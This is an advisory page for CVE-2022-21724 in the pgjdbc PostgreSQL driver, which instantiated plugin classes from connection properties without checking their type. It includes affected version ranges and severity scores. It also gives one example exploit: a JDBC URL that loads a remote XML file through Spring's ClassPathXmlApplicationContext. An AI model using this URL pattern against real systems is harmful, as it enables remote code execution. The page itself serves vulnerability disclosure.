Ecosyste.ms: Advisories

An open API service providing security vulnerability metadata for many open source software ecosystems.

Security Advisories: GSA_kwCzR0hTQS12N3dnLWNwd2MtMjRtNM0oEA

pgjdbc Does Not Check Class Instantiation when providing Plugin Classes

Impact

pgjdbc instantiates plugin instances based on class names provided via authenticationPluginClassName, sslhostnameverifier, socketFactory, sslfactory, sslpasswordcallback connection properties.

However, the driver did not verify if the class implements the expected interface before instantiating the class.

Here's an example attack using an out-of-the-box class from Spring Framework:

DriverManager.getConnection("jdbc:postgresql://node1/test?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://target/exp.xml");

The first impacted version is REL9.4.1208 (it introduced socketFactory connection property)

Permalink: https://github.com/advisories/GHSA-v7wg-cpwc-24m4
JSON: https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS12N3dnLWNwd2MtMjRtNM0oEA
Source: GitHub Advisory Database
Origin: Unspecified
Severity: High
Classification: General
Published: almost 3 years ago
Updated: almost 2 years ago


CVSS Score: 7.0
CVSS vector: CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

EPSS Percentage: 0.00949
EPSS Percentile: 0.82951

Identifiers: GHSA-v7wg-cpwc-24m4, CVE-2022-21724
References: Repository: https://github.com/pgjdbc/pgjdbc
Blast Radius: 36.7

Affected Packages

maven:org.postgresql:postgresql
Dependent packages: 3,652
Dependent repositories: 176,054
Downloads:
Affected Version Ranges: >= 42.3.0, < 42.3.2, >= 9.4.1208, < 42.2.25
Fixed in: 42.3.2, 42.2.25
All affected versions: 9.4.1208, 9.4.1209, 9.4.1210, 9.4.1211, 9.4.1212, 42.0.0, 42.1.0, 42.1.1, 42.1.2, 42.1.3, 42.1.4, 42.2.0, 42.2.1, 42.2.2, 42.2.3, 42.2.4, 42.2.5, 42.2.6, 42.2.7, 42.2.8, 42.2.9, 42.2.10, 42.2.11, 42.2.12, 42.2.13, 42.2.14, 42.2.15, 42.2.16, 42.2.17, 42.2.18, 42.2.19, 42.2.20, 42.2.21, 42.2.22, 42.2.23, 42.2.24, 42.3.0, 42.3.1
All unaffected versions: 9.4.1207, 42.2.25, 42.2.26, 42.2.27, 42.2.28, 42.2.29, 42.3.2, 42.3.3, 42.3.4, 42.3.5, 42.3.6, 42.3.7, 42.3.8, 42.3.9, 42.3.10, 42.4.0, 42.4.1, 42.4.2, 42.4.3, 42.4.4, 42.4.5, 42.5.0, 42.5.1, 42.5.2, 42.5.3, 42.5.4, 42.5.5, 42.5.6, 42.6.0, 42.6.1, 42.6.2, 42.7.0, 42.7.1, 42.7.2, 42.7.3, 42.7.4